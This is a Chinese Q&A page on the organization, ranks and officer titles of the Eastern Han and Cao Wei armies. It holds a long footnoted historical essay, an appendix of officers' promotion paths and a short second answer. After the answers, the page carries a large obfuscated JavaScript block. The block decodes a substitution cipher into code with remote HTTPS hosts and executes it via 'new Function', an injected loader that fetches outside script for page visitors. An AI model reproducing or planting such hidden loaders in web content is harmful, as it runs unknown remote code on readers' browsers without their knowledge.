东汉军队的编制及长官的官名

2025-02-06 20:24:28
推荐回答(2个)
回答1:

黄巾起义后,汉王朝权威渐渐崩溃,州郡割据之势于斯而兴。自黄巾起义到隋唐重新统一,中国整整400年的历史几乎就是一部战乱史。魏晋南北朝许多制度与秦汉相较,只能用巨变来形容。巨变的许多萌芽在东汉末年,探究其中官职演变、尤其是军职演变的过程,颇能见微知著。

一、军职制度第一次严密化、制度化

统辖军队的将军在两汉一般不常置,掌征伐背叛,非常尊贵,权臣常以大将军、骠骑、车骑、卫将军、前后左右将军等重号将军辅政。东汉中前期,度辽以及其他杂号将军皆秩二千石,与郡太守地位相等[1],除度辽外,其他杂号将军一般事罢即撤。将军既贵重,后来许多文职官僚也常常加重号将军,不统辖军队,只是作为殊荣而加赠。

将军地位尊贵,与将军号少且不常置有关,但更主要是跟秦汉以来社会具有浓厚尚武精神有关。许多农民起义军的首领也因此常自称将军,如黄巾的天公、地公、人公将军。东汉末,各割据势力无将军之号则不显其重,其中,朝廷封赠将军比私署贵重,其他军职也如此。

战乱长期延续,将军等军职设置也趋泛滥,原本职位、品阶合一的将军号也渐渐职阶分离,到南北朝,武散阶制度开始建立,直到隋唐宋,将军号渐不见重,宋朝甚至有八品武官称将军者。而到明清,武散阶制度名存实亡,将军号才又见显重。

汉代以“若干石”构成十七、八级的禄秩等级,中郎将、校尉、骑都尉、郡都尉禄秩均为比二千石,禄秩相当[2]。随军队规模逐渐扩大,以及军旅常设,原来的军职明显不足,因此,杂号将军、中郎将、校尉、都尉逐渐增多,而军事指挥体制上的需要也将各种军职按照一定等级排列起来,这些趋势由地方开始,最终在建安年间由曹操通过汉王朝中央政府集其大成,并系统化、制度化。

黄巾起义始,几位汉朝将领都以中郎将之职带兵镇压起义军,象曹操以骑都尉之职归左中郎将统辖,再如董卓与关东军战,部下也是以中郎将指挥校尉。这些都说明中郎将地位已经渐渐升高,位在校尉、都尉之上。

初期,增设的军职主要是杂号中郎将、校尉、都尉,杂号将军还是很少,因为许多割据势力首领自身也才是杂号将军,例如孙权长期都是以讨虏将军割据江东,赤壁战后,刘备方表权行车骑将军;而曹操在建安前也长期为杂号将军。到了建安后期,杂号将军增多,两汉比较久远的杂号将军,如四征、伏波、度辽等,地位似也比后设的尊贵,例如夏侯敦曾以伏波将军都督二十六军,夏侯渊以征西将军坐镇关中、汉中。而征镇安平等将军号,随着曹魏都督制的建立,地位也逐渐升高,而原本尊贵的前后左右将军地位则逐渐下降,不过这已不在本文讨论范围内。

总之,直到东汉结束,将军号虽然开始泛滥,但是将军职位还是为时人所重,不单重号将军,杂号将军的地位也依然很高。

校尉、都尉等军职也是如此,不少人是以校尉、都尉领郡太守职。其中,各校尉、都尉也不可一概而论。五校的地位比后来增设的杂号校尉要高。黄巾起义前,除了边郡,因州郡兵撤销,作为主捕盗贼的郡都尉也被撤销。黄巾起义后,州郡兵兴,加军职不足,都尉之职便重新设置,并主要作为军职使用,跟以往的职能稍稍有异。其中,中央武官骑都尉比杂号都尉地位要高,而少数专门设为牧守的都尉,位在太守与县令之间,属于文职,与武职的杂号都尉不同[3]。

细究曹魏将领的升迁纪录(见附录),可以发现在魏国建立之前,军队的军职已经有一套等级相对严密的升迁制度。曹魏的军职制度与汉朝的禄秩等级制度以及选举制度在陈群等人揉合下,最终形成了著名的“九品中正制”(广义,含官职九品制)。

秦汉“职秩合一”制度的基础上诞生的曹魏军职制度包含了等级严密、全面的特点以及职阶分离的萌芽,在魏晋南北朝长期战乱中得到强化,最终成为唐宋的“阶职分立制”官僚制度的动力之一,其历史作用不应低估。

二、汉末曹魏军职制度的特点及探微

建安年间,曹魏的军职升迁制度如下:

伍长-什长-都伯-百人将-牙门将、骑督、部曲督等-别部司马(军司马)-杂号都尉(骑都尉)-杂号校尉(但五校几乎成清贵武职,偏文)-杂号中郎将(五官、左、右、虎贲中郎将类同五校)-裨将军-偏将军-杂号将军(裨将军、偏将军应该就是杂号将军之末,但与其他两字将军地位有别)-四征、前后左右将军-卫将军-骠骑、车骑将军-大将军

由此说说几点感想:

1、曹魏军职比起同期的文职,地位往往要高,例如,许多人曾经以都尉、校尉而领太守(按照汉制,前者为比二千石,后者为二千石);随着州郡兵的重新设立,太守、刺史等地方文职常加军职以领州郡兵,但所加军职,一般须按军功来加。
2、曹魏的护军、领军、都护将军等军职,相当于杂号将军,带有很强的监军色彩,不少是以宗室、士人出任此职,其具体地位及军事指挥权随该人与曹操关系密切而定。
3、具体的升迁,不一定完全按照其中的等级按部就班,军功大可能跃迁。
4、文职与军职之间的界限不是很严格,两者有时会相互替换。
5、还有一个很特别的官职,就是议郎一职,原本是六百石的文职官吏[4],但曹仁、曹纯都长期以此职率领骑兵部队。从职权和地位看,这是个与杂号将军地位相当的军职。其中的演变过程不详,让人颇有奇兀之感。
6、都尉、校尉、中郎将、将军诸职前面应该都加有名号,史书往往省略其名号,如典韦传未记其校尉名号,但在《三国志.三少帝纪》里面记载为“武猛校尉”。
7、曹魏最信任的还是本家人,而不是完全看他们的才能,幸好夏侯家、曹家出的人才确实不少,特别是夏侯渊、曹仁,但有些人升迁太快了,例如曹真、曹休,名实不符,君主专制制度的必然吧。
8、东汉军队的编制主要分为:部、曲、屯。部的主官为校尉,规模小则主官为军司马或别部司马,副手为假校尉、军假司马。曲的主官为军候,副手为军假候。屯的主官为屯长。而将军的亲兵由门候统领,估计为牙门将的滥觞[5]。最基层的编制,5人为伍,10人为什,主官分别为伍长、什长,从秦到魏,这个应该没改变。什到屯之间应该为五十人队和百人队,具体名称不详。(据《尉缭子》,什以上或者设50人的率,或者是百人的卒,汉承秦制,估计编制改动不大,但名称会有异。)
建安年间,曹操对军队编制改动很大。部、曲、屯作为编制单位不见,而完整编制如何,资料缺乏。只知道基层主官分别为伍长、什长、都伯、百人将[6]。比较大的编制单位是军和营[7]。推测军的主官为将军,营的主管为中郎将、校尉、都尉。
8、蜀汉、东吴军职制度资料相对较少,但三国之间军职制度相互影响、相互渗透的作用还是比较明显。例如,牙门将在蜀汉地位较高,也比较常置,位在校尉与裨将军、县长与郡太守之间[8],魏、吴初期少见其职,且地位较低,后期则均升高,推测是受蜀汉制度的影响。[9]

注释:
[1]“建武元年,复设诸侯王金玺綟绶,公、侯金印紫绶。九卿、执金吾、河南尹秩皆中二千石,大长秋、将作大匠、度辽诸将军,郡太守、国傅相皆秩二千石,校尉、中郎将、诸郡都尉、诸国行相、中尉、内史、中护军、司 直秩皆(比)二千石,以上皆银印青绶。”——《东观汉记.卷五》
[2] 同上
[3]“分汝南二县,以通为阳安都尉。通妻伯父犯法,朗陵长赵俨收治,致之大辟。是时杀生之柄,决於牧守,通妻子号泣以请其命。”——《三国志.李通传》
“中兴建武六年,省诸郡都尉,并职太守,无都试之役。省关都尉,唯边郡往往置都尉及属国都尉,稍有分县,治民比郡。”——《后汉书.百官志》
[4]“凡大夫、议郎皆掌顾问应对,无常事,唯诏令所使。”、“议郎,六百石”——《后汉书.百官志》
[5]“其领军皆有部曲。大将军营五部,部校尉一人,比二千石;军司马一人,比千石。部下有曲,曲有军候一人,比六百石。曲下有屯,屯长一人,比二百石。其不置校尉部,但军司马一人。又有军假司马、假候,皆为副贰。其别营领属为别部司马,其兵多少各随时宜。门有门候。其余将军,置以征伐,无员职,亦有部曲、司马、军候以领兵。其职吏部集各一人,总知营事。兵曹掾史主兵事器械。禀假掾史主禀假禁司。又置外刺、刺奸,主罪法。”——《后汉书.百官志》
[6“]伍中有不进者,伍长杀之;伍长有不进者,什长杀之;什长有不进者,都伯杀之。”——曹操《步战令》;
“纯所督虎豹骑,皆天下骁锐,或从百人将补之”——《三国志.曹纯传》裴注《魏书》
[7]夏侯敦曾督26军居巢;于禁曾率7军救樊;而徐晃传里有曹操陆续派12营增援徐的记载。从于禁7军共3万余人推测,每军大约5千人。当然,古代军队编制不一定现代如此整齐划一,必定会因时因地而有所差异。
[8]《三国志.王平传》、《三国志.杨戏传》
[9]《通典》把牙门将与牙门将军混为一谈,有误,牙门将军为刘备自署的杂号将军,赵云、魏延先后担任,地位比牙门将为高。曹操的《步战令》中,牙门将与骑督地位相当,而《三国志.钟会传》里,曹魏灭蜀时候,牙门将已经成为曹魏别统一营的武官;《晋书.杜预传》里记载晋灭吴时,东吴的牙门将与郡守并列。

附录:

《东汉末年曹魏部分人物官职升迁简汇》——资料均据陈寿《三国志》及裴注

曹操:洛阳北部尉-迁顿丘令-徵拜议郎-拜骑都尉-迁为济南相(东郡太守)-典军校尉-骁骑校尉-行奋武将军-表为东郡太守-领兖州牧-拜兖州牧-建德将军-迁镇东将军-(建安元年)假节钺,录尚书事。领司隶校尉-(大将军)司空、行车骑将军-丞相-魏公-魏王

张辽:州从事-迁骑都尉(领鲁相)-拜中郎将-迁裨将军-行中坚将军-荡寇将军-拜征东将军-转前将军
乐进:军假司马-陷陈都尉-拜讨寇校尉-行游击将军-折冲将军-迁右将军
于禁:都伯-拜军司马-拜陷陈都尉-迁平虏校尉-迁裨将军-迁偏将军-拜虎威将军-迁左将军
张颌:军司马-校尉-迁宁国中郎将-拜偏将军-迁平狄将军-拜荡寇将军-左将军
徐晃:郡吏-拜骑都尉-拜裨将军-拜偏将军-拜横野将军-平寇将军-右将军

夏侯敦:司马-折冲校尉(领东郡太守)-(领陈留、济阴太守)建武将军(领河南尹)-伏波将军(都督二十六军)-前将军-大将军
夏侯渊:别部司马-骑都尉-(陈留、颍川太守)-行督军校尉-典军校尉-行领军-行征西护军-行护军将军-行都护将军-征西将军
曹仁:别部司马-行厉锋校尉-(广阳太守)议郎(督骑)-行征南将军-行安西将军-行骁骑将军-行征南将军-征南将军-车骑将军
曹纯:议郎参司空军事
曹洪:鹰扬校尉-扬武中郎将-(谏议大夫)-厉锋将军-都护将军-卫将军
曹休:骑都尉,参都护将军军事-中领军-领军将军
曹真:偏将军-中坚将军-领中领军-征蜀护军-镇西将军

李典:(颍阴令)-中郎将-(离狐太守)-裨将军-捕虏将军-破虏将军
李通:振威中郎将-裨将军-(阳安都尉)-(汝南太守)
臧霸:骑都尉-琅邪相-加威虏将军-迁徐州刺史-拜扬威将军-迁镇东将军
孙观:骑都尉-北海太守-拜偏将军-迁青州刺史-转振威将军
文聘:江夏太守-加讨逆将军-迁后将军
吕虔:州从事-襄贲校尉(?)-领泰山太守-加骑都尉-加裨将军
许诸:都尉-迁校尉-迁武卫中郎将-迁中坚将军-迁武卫将军
典韦:拜司马-拜都尉-迁为校尉
庞德:州从事-迁校尉-拜中郎将-拜立义将军

请输入上图中的验证码,字母不区分大小写。

回答2:

西汉东汉都尉比校尉高一级,三国因为曹操曾经从地方骑都尉平职到精锐中央军校尉,所以曹魏的校尉比都尉高

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();